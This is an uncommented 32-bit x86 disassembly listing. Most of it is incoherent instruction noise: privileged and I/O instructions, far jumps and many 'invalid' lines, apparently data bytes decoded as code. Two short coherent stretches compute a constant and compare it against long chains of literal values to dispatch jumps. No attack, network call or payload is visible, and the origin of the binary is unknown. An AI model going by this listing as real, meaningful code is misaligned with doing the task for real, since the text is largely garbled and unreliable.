mov dl, 0xd5
stosb byte es:[edi], al
ja 0x67b8bb8f
cmp dword [ecx - 0x38203537], 0x6ffb111a
test byte [ebx], 0xfb
jg 0x67b8bb9b
cld
xchg ecx, eax
stosb byte es:[edi], al
xor dword [edx + 0x27], eax
das
dec ebp
xchg esp, eax
sub bh, byte [edx - 0x1bce61ff]
jge 0x67b8bc43
scasd eax, dword es:[edi]
enter 0x39dc, 0x11
loopne 0x67b8bbc2
invalid
stc
xchg cl, bl
and dl, dh
xor al, 0x11
push ecx
xlatb
shr dword [esi], 0x2d
test dword [edi], 0x6f68345a
xor al, 0x68
outsd dx, dword [esi]
cmp esi, dword [edx - 0x6e]
pop ecx
loop 0x67b8bcb3
cmc
test eax, 0x1e1ef923
and edi, ecx
push ds
push ds
push cs
mov dl, 0x29
mov cl, 0x76
mov ecx, 0xb95b08e5
add byte [edx + 0x456d31da], 0xf8
fild qword [ecx + 0xa6eb9a]
jae 0x67b8bc32
pop edx
add byte [ebx + 0x5a3e6be], ah
or dword [esp + ecx*4], esp
cmpsd dword [esi], dword es:[edi]
pop eax
and dword [eax + 0x53152acc], edx
sub eax, 0x6aa2c715
inc edi
push eax
bound ebx, qword [edx]
sbb dl, bl
iretd
xor dword [ecx + 0x2e], edx
inc esp
pop edi
out dx, eax
invalid
pushfd
stc
dec esp
nop
sbb ah, byte [esi]
shr byte [eax - 0x15], 0xc
xchg dword [edx + esi*2], ebx
popfd
or byte [edx], cl
mov al, byte [0x43b7f86d]
inc edi
fisub dword [edx - 0x2064db9f]
mov al, byte [0xe7826123]
sbb eax, 0x20bbe213
xchg byte [ebx + 0x66], dl
jae 0x67b8c1e2
rcr dword [eax + 0x553eda37], 0x23
pop edx
hlt
or eax, 0x62d80283
sahf
mov cl, 0xb0
mov ebx, 0xd1fd5c31
popal
int3
invalid
add si, 0xffa0
ror byte [ecx - 0x13], 1
dec edx
clc
js 0x67b8c736
lodsd eax, dword [esi]
inc edi
add byte [esi + 0x32], 5
or edi, ebx
xchg esp, eax
lahf
pmaxsw mm3, qword [eax - 0x11d49b93]
wait
mov al, 0xa
inc eax
add edi, dword [eax]
mov cs, ebx
or dword [ecx + 0x4a4a4fc7], eax
dec ebx
fstp dword [ecx]
hlt
mov dword [ebp + 0x45], edx
int 0x51
invalid
lahf
invalid
nop
jmp 0x67b8d917
nop
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xb8], 0xe664a
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xc0], 0x7eee
mov dword [ebp - 0xbc], 0
mov eax, dword [ebp - 0xb4]
imul eax, dword [ebp - 0xc0]
mov edx, eax
mov eax, dword [ebp - 0xbc]
imul eax, dword [ebp - 0xb8]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0xb8]
mul dword [ebp - 0xc0]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], edx
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0xc8]
xor eax, 0x23bb84cc
mov edx, dword [ebp - 0xc4]
xor edx, 7
or eax, edx
je 0x67b92eba
mov edx, 0x23bb84cc
mov eax, 7
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67b92ebd
mov eax, dword [ebp - 0xc8]
xor eax, 0xd095b
or eax, dword [ebp - 0xc4]
je 0x67b928dc
mov edx, 0xd095b
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67b92ebd
mov eax, dword [ebp - 0xc8]
xor eax, 0xbdb57
or eax, dword [ebp - 0xc4]
je 0x67b8e250
mov edx, 0xbdb57
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67b92ebd
mov eax, dword [ebp - 0xc8]
xor eax, 0xb8e6d
or eax, dword [ebp - 0xc4]
je 0x67b90b77
mov edx, 0xb8e6d
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67b92ebd
mov eax, dword [ebp - 0xc8]
xor eax, 0x948a6
or eax, dword [ebp - 0xc4]
je 0x67b8f9d4
mov edx, 0x948a6
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67b92ebd
mov eax, dword [ebp - 0xc8]
xor eax, 0x93771
or eax, dword [ebp - 0xc4]
je 0x67b922fb
mov edx, 0x93771
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67b92ebd
mov eax, dword [ebp - 0xc8]
xor eax, 0x913d5
or eax, dword [ebp - 0xc4]
je 0x67b8ee12
mov edx, 0x913d5
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67b92ebd
mov eax, dword [ebp - 0xc8]
xor eax, 0x8709b
or eax, dword [ebp - 0xc4]
je 0x67b90596
mov edx, 0x8709b
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67b92ebd
mov eax, dword [ebp - 0xc8]
xor eax, 0x7a1ee
or eax, dword [ebp - 0xc4]
je 0x67b91739
mov edx, 0x7a1ee
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67b92ebd
mov eax, dword [ebp - 0xc8]
xor eax, 0x76f01
or eax, dword [ebp - 0xc4]
je 0x67b8e831
mov edx, 0x76f01
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67b92ebd
mov eax, dword [ebp - 0xc8]
xor eax, 0x3f9fe
or eax, dword [ebp - 0xc4]
je 0x67b91158
mov edx, 0x3f9fe
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67b92ebd
mov eax, dword [ebp - 0xc8]
xor eax, 0x282f5
or eax, dword [ebp - 0xc4]
je 0x67b8ffb5
mov edx, 0x282f5
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67b92ebd
mov eax, dword [ebp - 0xc8]
xor eax, 0x256f9
or eax, dword [ebp - 0xc4]
je 0x67b8f3f3
mov edx, 0x256f9
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x67b92ebd
mov eax, dword [ebp - 0xc8]
xor eax, 0xfb14
or eax, dword [ebp - 0xc4]
je 0x67b91d1a
mov eax, dword [ebp - 0xc8]
xor eax, 0x18bba
or eax, dword [ebp - 0xc4]
jne 0x67b92ebd
jno 0x67b8dcde
pop ecx
cmc
fdivr dword [0xc89bf991]
iretd
cdq
add al, dl
cmc
push ebp
insd dword es:[edi], dx
retf 0x7a2e
movsd dword es:[edi], dword [esi]
retf
jge 0x67b8e281
fst dword [ecx]
sbb ecx, edi
lea esp, [eax + edx*2 - 0x42]
scasb al, byte es:[edi]
or eax, 0x2a01761
mov ecx, 0x6f36fdb
stosb byte es:[edi], al
push esi
dec edi
jbe 0x67b8e201
idiv byte [ebx + 0x72]
test dword [edx - 0x57], esi
int3
inc esi
test byte [esi + edx*2 + 0x2cb70bdd], dh
mov edx, 0x4d3200da
sub dword cs:[ebp + 0x12e53b2], eax
pop ds
movsd dword es:[edi], dword [esi]
rol dword [ecx], 1
push ss
sub dword [ecx + 0x31f8bf0b], esp
push ecx
outsd dx, dword [esi]
fldcw word [ebp + 0x21]
add byte [ebx + 0x55dd75b6], cl
mov bh, 3
adc eax, 0x90f2bdcd
int3
ret 0x9b39
mov dl, 0xc6
ja 0x67b8e76b
bound ebp, qword [ebp - 0x6b4b0d7]
push ds
daa
sbb al, 0x40
invalid
shl byte [ecx + 0x5769643c], 1
leave
cmp al, 0xd5
pushfd
idiv byte [edi + ebp*2]
mov dword [ebx], edi
std
pop ebx
wait
mov ch, 0x5c
pushfd
inc eax
and eax, 0x5c244ee1
push eax
xchg dword [ecx], ecx
jno 0x67b8e7d7
pop edi
push eax
sub dword [esi], eax
pop eax
invalid
mov word cs:[eax - 0x3f], ss
mov ch, 0xd1
cmp byte [0xdd63a8e5], bl
into
inc ecx
dec eax
in eax, 0xfe
neg byte [esi]
mov eax, 0x38267104
inc esp
cmp bl, byte [ebp - 0x64147006]
retf
xor byte [ebp + 0x57067efb], 0xa4
pushfd
idiv esi
ljmp 0xa6b6
rol eax, cl
insd dword es:[edi], dx
insd dword es:[edi], dx
stc
out dx, eax
cli
xor al, 0x4c
push esp
ret
xlatb
retf 0x7785
sub byte [ecx], ch
add byte [eax], al
mov ebx, 0x4d74f788
push esi
pop ecx
shr byte [edx + 0xd7f57ed], cl
stosb byte es:[edi], al
sub ch, byte [edx - 0x4e0accd4]
cmp ch, al
push ecx
xchg ecx, eax
sub al, 0x33
cmc
mov cl, 0x38
lds edx, [ecx - 0x6f]
push ebp
adc dword [ebp + 0xcc83e68], edi
mov ebp, 0x23135a80
or al, 0xf3
mov ebp, 0x23135a80
inc edx
jge 0x67b905ff
pop es
retf
push cs
jne 0x67b90592
xchg ebx, eax
add byte [ecx - 0x3b7873d], 0x4f
pop edi
add eax, 0x13755916
je 0x67b905b4
jecxz 0x67b90615
insd dword es:[edi], dx
pop edi
insd dword es:[edi], dx
stc
mov edx, dword [ebx - 0x7fc965bd]
insd dword es:[edi], dx
cld
mov ah, 5
fldenv [ebp - 0x28]
or eax, 0xebcc9067
push eax
adc eax, 0x6d3b425d
mov dword [0x651c3843], eax
add ebp, esi
insd dword es:[edi], dx
jb 0x67b9063d
cmp ebp, dword [ebp - 0x5d]
inc ebx
cmp byte [0x726df501], bl
xor dh, byte [ebx - 0x67]
jae 0x67b905a6
sbb dword [edx - 0xd], 0x75
and dword [ebp - 0x56], ebp
insd dword es:[edi], dx
stosb byte es:[edi], al
jae 0x67b905d0
mov edx, 0x79d1fea0
mov byte [0xb512ef2f], al
mov edi, cs
push esi
sub eax, 0xb9ae1531
lahf
clc
mov al, byte [0xa279d1fe]
das
out dx, eax
adc dh, byte [ebp + 0x2d56cf8c]
xor dword [0xf89fb9ae], edx
invalid
and byte [ebp - 0x39], al
jl 0x67b90612
and byte [ebp - 0x78055c10], bh
push ecx
sub dword [ebp + 0x33f5d816], esp
pop es
inc ebx
cmpsb byte [esi], byte es:[edi]
dec ebx
aaa
je 0x67b90617
invalid
lds edi, [eax]
enter 0x6e04, 0x73
iretd
xor byte [0x87172556], dh
mov bh, 0xeb
add ah, dl
push ebp
xchg edi, eax
push 0x27999cf
std
adc dword [eax + 0x12c10c12], ebx
je 0x67b911be
pop ds
mov dword [0x7de2d61e], eax
insb byte es:[edi], dx
mov cl, 0x4b
add dword [edi + ecx*8 + 0xe], ebp
xchg esp, eax
loop 0x67b91183
in al, 0xb2
loope 0x67b91190
mov dl, 0xe1
or al, byte [edx + 0x75220678]
fisttp qword [ecx - 0x411c4d19]
and ebx, edi
mov eax, dword [0xbb89ab08]
sal dword [ebx + ebp*2], 1
push esp
cmp byte [eax + 6], 0x22
jne 0x67b91169
mov edi, esp
mov dl, 0xe3
mov esi, 0x8a1fb21
stosd dword es:[edi], eax
mov dword [ebx + 0x546b34d1], edi
mov cl, 0x1d
mov edx, 0x297806ed
xor dword [eax], esi
push ecx
mov esi, 0x781ac61e
imul ebp, dword [esi - 0x4c], 0x15
jb 0x67b911bc
push 5
cld
lea esp, [ecx]
pushfd
fiadd dword [edi]
nop
int3
xchg byte [edx + 0x1c481ee2], ch
dec esi
loop 0x67b911de
dec eax
sbb al, 0x4e
adc edi, dword [ecx + 0x5fd0c9fc]
aad 0xb6
mov bl, byte [esi]
mov edi, 0xd05a96ca
int3
invalid
add byte [eax], al
mov dh, 0x12
cmpsb byte [esi], byte es:[edi]
bound ebx, qword [ebx + 0x4b]
lodsb al, byte [esi]
fidivr dword [ecx + 0xb]
jns 0x67b9174e
in al, 0x73
push ds
adc al, 0x20
sub cl, bh
in al, 0xd2
inc ecx
sbb dl, dh
salc
lodsb al, byte [esi]
in eax, dx
popal
wait
inc esp
push esi
push cs
push edx
pop ss
rcr dword [edx], 0x61
lds esi, [edx + 0x14]
sbb dword [eax + 0x3c37a51b], esi
jecxz 0x67b917da
leave
sbb ah, byte [ebp + 0x42d1bf98]
dec ebx
sbb eax, 0xa09cbe6c
xchg byte [ebx + 0x25], al
xor dword [edx + 0x2d38d886], 0x5ce72bef
leave
in eax, 0x14
inc esi
mov bl, 0x83
adc eax, 0xf0109961
push ecx
cld
push 0x1af438f2
mov ebx, 0xda239df7
mov ebx, 0xcc9094df
loop 0x67b91737
loopne 0x67b91741
cmpsb byte [esi], byte es:[edi]
mov dword [0xc660b7f6], eax
sti
adc eax, 0xba49dd1
mov eax, 0xaf1e5fa
rol dword [esi], 1
int1
or dl, cl
push es
enter 0x566a, 0xffffffffffffff8d
shr byte [edi - 0x74], 0x89
ja 0x67b91787
movsd dword es:[edi], dword [esi]
pop ds
and al, 0x6b
sub ecx, ebp
out dx, eax
fidiv word [edx - 0xe]
adc byte [ebx + 4], 0xaf
lea edx, [ebx - 0x74e791c0]
jne 0x67b9182e
mov ebx, 0x951a5957
cmp byte [edx], cl
invalid
or bh, dh
jno 0x67b917b0
cwde
cmpsd dword [esi], dword es:[edi]
or dword [edx + 0xf242ab6], ebx
sub al, 0x6f
test eax, 0x3e9803f9
xor dh, ch
in al, dx
jbe 0x67b917fd
lea edx, [0x55f8889e]
pushfd
cmp dword [esi], ebp
pop edx
test dword [edx - 0x27], ebp
push 0xffffffffffffffd9
nop
int3
or ecx, dword [ebx + edx*8 - 0x155ac8fb]
pop ecx
shl byte [ecx], cl
ret 0xcdb
mov esi, 0x33a664bf
pop es
mov ah, 0x52
inc edx
popfd
inc esp
dec esi
add dword [eax + 0x78], edi
inc ebx
mov eax, dword [0xc30cbcdd]
ret 0x5df5
outsd dx, dword ds:[esi]
adc al, 0x13
sub byte [edi], bh
sahf
pushal
push 0x5c
push esp
enter 0xffffffffffffe93a, 0x19
sub dword [edx + 0x5fdda70a], ecx
lodsb al, byte [esi]
and al, byte [ebp - 0x176fb89c]
push esi
jmp 0x157f7514
jp 0x67b92924
push esp
int3
adc byte [ebp*8 + 0x14b97c09], dl
hlt
nop
jmp 0x67b92ebe
nop
mov eax, dword [ebp - 0xac]
mov eax, dword [eax + 0x1c]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xd8], 0x5a5e3
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xe0], 0x78b6
mov dword [ebp - 0xdc], 0
mov ecx, dword [ebp - 0xd8]
mov ebx, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xe0]
mov edx, dword [ebp - 0xdc]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], edx
mov eax, dword [ebp - 0xe8]
xor eax, 0xf09a2
or eax, dword [ebp - 0xe4]
je 0x67b973d5
mov edx, 0xf09a2
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0xde4fb
or eax, dword [ebp - 0xe4]
je 0x67b9390b
mov edx, 0xde4fb
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0xc15d2
or eax, dword [ebp - 0xe4]
je 0x67b96df4
mov edx, 0xc15d2
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0xbbb4a
or eax, dword [ebp - 0xe4]
je 0x67b9508f
mov edx, 0xbbb4a
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0xaffaf
or eax, dword [ebp - 0xe4]
je 0x67b98578
mov edx, 0xaffaf
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0x9f6b6
or eax, dword [ebp - 0xe4]
je 0x67b97f97
mov edx, 0x9f6b6
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0x93e54
or eax, dword [ebp - 0xe4]
je 0x67b95c51
mov edx, 0x93e54
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0x8fffc
or eax, dword [ebp - 0xe4]
je 0x67b9332a
mov edx, 0x8fffc
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0x8ecea
or eax, dword [ebp - 0xe4]
je 0x67b98b59
mov edx, 0x8ecea
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0x8e8d5
or eax, dword [ebp - 0xe4]
je 0x67b94aae
mov edx, 0x8e8d5
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0x7ee7d
or eax, dword [ebp - 0xe4]
je 0x67b95670
mov edx, 0x7ee7d
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0x61e99
or eax, dword [ebp - 0xe4]
je 0x67b9a8be
mov edx, 0x61e99
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0x5fb85
or eax, dword [ebp - 0xe4]
je 0x67b96813
mov edx, 0x5fb85
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0x43ae0
or eax, dword [ebp - 0xe4]
je 0x67b944cd
mov edx, 0x43ae0
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0x3f73f
or eax, dword [ebp - 0xe4]
je 0x67b9913a
mov edx, 0x3f73f
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0x379ed
or eax, dword [ebp - 0xe4]
je 0x67b9a2dd
mov edx, 0x379ed
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0x34a50
or eax, dword [ebp - 0xe4]
je 0x67b99cfc
mov edx, 0x34a50
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0x349c6
or eax, dword [ebp - 0xe4]
je 0x67b96232
mov edx, 0x349c6
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0x2488c
or eax, dword [ebp - 0xe4]
je 0x67b93eec
add byte [eax], al
mov edx, 0x2488c
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b9a8bb
mov eax, dword [ebp - 0xe8]
xor eax, 0x4260
or eax, dword [ebp - 0xe4]
je 0x67b979b6
mov eax, dword [ebp - 0xe8]
xor eax, 0xaadb
or eax, dword [ebp - 0xe4]
je 0x67b9971b
test dword [edi + edi*8], ebx
invalid
jmp 0x67b9a8bb
xchg ecx, eax
jne 0x67b93329
add byte [eax], ah
outsb dx, byte [esi]
cmp dword [esi + ebx], ebx
and byte [esi + 0x39], ch
sbb al, 0x1e
xchg ebp, eax
inc esp
cmc
jnp 0x67b93326
je 0x67b93379
in eax, 0xfc
mov edx, 0x7b774f58
jne 0x67b9331a
adc eax, 0x256ec126
mov word [eax], cs
cwde
jbe 0x67b932d9
sub eax, 0x3fb619ea
ljmp 0x8521
pop ebp
mov ebx, 0x6b42e1e7
sbb byte [edx - 0x131dd1ee], ah
stosb byte es:[edi], al
imul ebp, dword gs:[ebp - 0x6f447d1b], 0xffffffcc
xchg edi, eax
add cl, bh
aam 0x8e
fld qword [edx + 0x11]
outsb dx, byte [esi]
adc dh, byte [ecx + edx*8]
xor eax, ebx
xchg ebp, eax
push ds
sbb eax, 0x47ead22
or byte [0x13533e2a], ch
ret
and dh, bl
cmp dh, byte [ebx]
hlt
jb 0x67b93f50
cdq
mov byte [0x4f025907], al
cmp ebp, dword gs:[ebx - 0x42eaab5d]
faddp st(2)
xchg ecx, eax
sar byte fs:[eax], 1
sbb al, byte [ecx]
push cs
invalid
push ebp
add eax, 0x688a3583
add eax, 0x8f264716
sbb eax, 0x80f90438
call 0x55efd470
leave
add al, 0xc1
invalid
cdq
sub ebx, ecx
inc eax
aad 0x34
invalid
rcl byte [ebx + 0x6d], cl
dec ecx
xchg ecx, eax
imul ebx, dword [edx], 0xad9675c3
dec esp
cmp ecx, dword [eax + 0x4c18939d]
salc
sub dword [eax - 0x16], esi
popfd
xchg ebx, eax
sbb byte [esi + edx*8 + 0x29], cl
jo 0x67b9449f
cmp eax, 0xeb3355c3
mov esi, 0xb874a327
xchg ebp, eax
mov dh, bl
xchg ebp, eax
insb byte es:[edi], dx
xor eax, 0xe9cc90ae
arpl word [eax], ax
add byte [ecx + 0x1272a99a], dl
out dx, eax
push ebx
mov ch, byte [ebp + 0x74]
xor esp, dword [ecx + 0x2d]
sub eax, 0x4605d6d8
xchg ecx, eax
lcall 0x8a53, 0xef1272a9
insd dword es:[edi], dx
je 0x67b9450b
and dword fs:[0x5d6d82d], ebp
inc esi
push 0xffffffffffffffa0
or al, 0x2d
dec ebp
pushal
or ebp, dword es:[edx]
xchg ebx, eax
xor edx, dword fs:[edx - 0x1eb1ffcd]
sbb edi, ebp
aad 0xdc
push esi
sbb al, 0xe2
add dword [edi + 0x40], edx
dec esi
mov al, byte [0xb6f9293]
cmp ch, byte [ebx - 0x3fe44f67]
sbb ch, byte [edi + 0x5a]
pop edx
pop edx
sub edx, esp
loope 0x67b94492
mov al, 0xfe
mov edi, 0xb17c862d
and ebx, edx
add ch, 0xaa
loopne 0x67b944ad
and ebp, dword [ebp + 0x7d]
push ebx
movsd dword es:[edi], dword [esi]
nop
inc esp
xchg edx, eax
mov dword [esp - 0x2abf31bc], edx
nop
int3
test eax, 0xec94f9a4
invalid
out dx, al
pop ecx
loope 0x67b94a76
ljmp 0xb0d1:0x3324a020
fisub word [edx + eax*4]
invalid
ljmp 0xa817:0x9f99a49a
xchg byte [ecx + 0x3fb89d0a], cl
adc eax, 0x19a813fe
pop ebx
mov byte [edx + 8], bh
jmp 0x67b95cc5
imul ebx, dword [esi], 0xffffff81
js 0x67b95cf7
xor ah, ch
inc eax
xchg ecx, eax
ret 0xa482
nop
int3
js 0x67b95cb3
pop es
insb byte es:[edi], dx
sub eax, 0xa649c865
jle 0x67b95d49
les edi, [ebx]
mov word [ebx + eax*4], gs
scasb al, byte es:[edi]
or al, 0xc9
jns 0x67b95ca3
leave
add dword [ebx - 0x7c9715f4], edi
push 0x7eb2ea5f
cmp bl, byte [edx]
adc ebx, dword [esi + 0x15c2b08a]
sbb esp, dword [edx + ecx*8 - 0x581532c2]
mov ebx, 0xbeaf1ee6
insd dword es:[edi], dx
insb byte es:[edi], dx
mov ecx, 0xfb45e1c1
push ds
scasd eax, dword es:[edi]
mov esi, 0xc1b96c6d
loope 0x67b95d45
sti
adc byte [ebx + 0xb], dl
pushfd
fdiv dword [edi + eax - 0xf3785df]
cmp edx, 0xffffffeb
sub ah, byte [edx]
mov dword [edx + edx + 6], ebx
sub edi, ebx
and cl, byte [ecx + 0x2b06125c]
sti
nop
int3
loop 0x67b95d10
movsb byte es:[edi], byte [esi]
iretd
fdiv qword [esp + edi*8]
aas
mov esp, 0x576b6a03
xor byte [ebp + 0x1c], ah
pop eax
and byte [ebp - 0xa], al
test eax, 0x7535d954
or al, 0x6c
push cs
pop es
push si
out 0xc1, al
pop esp
pop ebp
aas
mov bh, 1
and dword [eax], esp
push esp
sahf
invalid
retf 0xedec
mov dword [0xbcdf4b06], eax
adc byte [esi - 0x21022cf1], 0xea
dec ebp
lodsb al, byte [esi]
and esi, ebp
scasd eax, dword es:[edi]
push ds
cmpsb byte [esi], byte es:[edi]
dec esi
sbb ch, cl
add esp, ebx
pushfd
aam 0xea
int3
and byte ds:[esi], ch
loop 0x67b967e9
in al, dx
insb byte es:[edi], dx
int1
xchg edx, eax
cmp eax, 0x72909ca7
shl byte [ebp - 0x69], 1
fcmovnbe st(0), st(5)
ror byte [esi - 0x5ddbcfc6], 1
loope 0x67b9677d
aad 0xd0
invalid
xchg dword [0x938f34a3], ebx
hlt
mov ecx, 0x1a8f9399
mov dl, 0x8c
xor dl, dl
dec edi
cmp eax, 0x34
jl 0x67b96876
xchg ebx, eax
invalid
and eax, 0x5adef24e
pop ebp
pop esp
mov dl, 0x45
jno 0x67b967d7
push 0xffffffffffffffe7
jp 0x67b96829
dec edx
nop
int1
inc ebx
jge 0x67b968b5
cmpsd dword [esi], dword es:[edi]
daa
stc
imul esp, edi, 4
salc
fisub word [edi]
and al, 0x56
dec ecx
ror byte [edi + 0x5d], 1
rol bh, cl
dec esi
test eax, 0x4198e36f
sbb edx, dword [ebx + 0x74]
jmp 0x67b9685b
fst qword [edx]
shr dword [ecx - 0x708bc95b], 0xb5
dec ebx
cmp dword [ecx], esp
cmovno ebx, dword [ecx - 0xd]
xchg ebp, eax
test eax, 0x5dc72718
jb 0x67b96815
or al, 0x79
nop
int3
push es
inc esp
jmp 0x8a330adc
or eax, 0x718a794b
or ah, byte [ecx]
xlatb
invalid
xor byte [esi], ah
add byte [eax], 0x84
push ebx
inc esp
sbb dword [eax + ebp*4], eax
adc eax, 0x55071bce
fbstp tbyte [edi + 0x6123d40a]
and dword [edi - 0x26], esp
jle 0x67b97409
pop ecx
retf
adc eax, 0x82d11677
and eax, dword [ebx]
idiv byte [ebx + 0x72a8b64a]
pushfd
mov bl, 0xb6
fstp dword [esi - 0x1f]
movsb byte es:[edi], byte [esi]
loopne 0x67b9744f
dec ecx
call 0xfba4bd4
int1
adc bh, byte [esi + edx*8 + 0x5bf0c1ad]
lds edx, [ebx + 0x3b]
js 0x67b973dc
cmp edx, dword [edx - 0x6f37a286]
int3
push ecx
push esp
lcall 0x22d4, 0x79b3bc6e
push ebp
mov ecx, 0xb30b8615
xlatb
and dword [bx], edi
out 0xeb, eax
add eax, dword [edx]
out dx, al
dec edi
aaa
cmp dl, byte [eax - 0x44]
sub al, 0xf7
ficomp word [edi + 0x2a]
ljmp 0x9ae0
ffree st(7)
sub eax, 0x83913504
ret 0xcc90
mov esi, 0x7b18f9f8
add edi, ebp
jg 0x67b97a04
test byte [edx], cl
adc byte [ecx + 0x19b2858a], al
add ah, 0x1e
jno 0x67b97a03
dec ebp
or esp, dword [esi + 0x48]
stc
adc dword [eax + 0xf], edi
enter 0x41a2, 0xffffffffffffffaa
pop edi
pushal
stc
int1
xor dh, byte [eax - 0x74]
mov cl, 0x9f
pushal
inc ecx
jmp 0xfc8cc98b
add cl, byte [ecx + 0x2342ab58]
movsd dword es:[edi], dword [esi]
xlatb
jo 0x67b979a7
mov dword [eax - 0x55], ebx
inc edx
and esp, dword [ebp - 0x6f658f29]
nop
push ss
insb byte es:[edi], dx
sahf
xor dword [ecx + 0x1c5c3bc6], ebx
insb byte es:[edi], dx
nop
int3
xchg byte [ebx + eax*8], al
stosb byte es:[edi], al
mov edx, 0x489eb4be
jae 0x67b97f7a
mov esi, 0x8b72fdac
arpl word [ebx], di
jecxz 0x67b97f95
mov dl, 0x6c
nop
int3
add byte [eax], al
jnp 0x67b97fac
int 0xd3
or eax, 0x2b2ce7d3
call 0x1b633cda
or byte [edi], 0xaf
mov esp, 0xc3ba48c2
jb 0x67b97f83
ret
xor bl, byte [ebp + 0x30]
sal ebx, 0x56
jne 0x67b97fdb
sub byte es:[eax], 0x37
cwde
cli
or byte [esi], 0x67
add esi, ecx
mov ch, byte [ebp + 0x132a7b14]
invalid
hlt
mov edi, 0x1c4f55aa
mov esp, 0xef844ea3
into
inc esi
fstp qword [esp + ebx*2 + 0x207f5ba1]
inc edi
add eax, 0x14327eef
movsd dword es:[edi], dword [esi]
cmpsd dword [esi], dword es:[edi]
cli
adc byte [ebx - 0x1a], 9
sbb eax, dword [ecx]
sub al, 0x2c
xchg esp, eax
cli
cmp dh, byte [ecx - 0x74]
mov ecx, 0x828f1436
aam 0x90
int3
lea esp, [edi + 0x5b2c6555]
out dx, al
dec edx
test byte [ecx - 0x23], 0x70
jb 0x67b98542
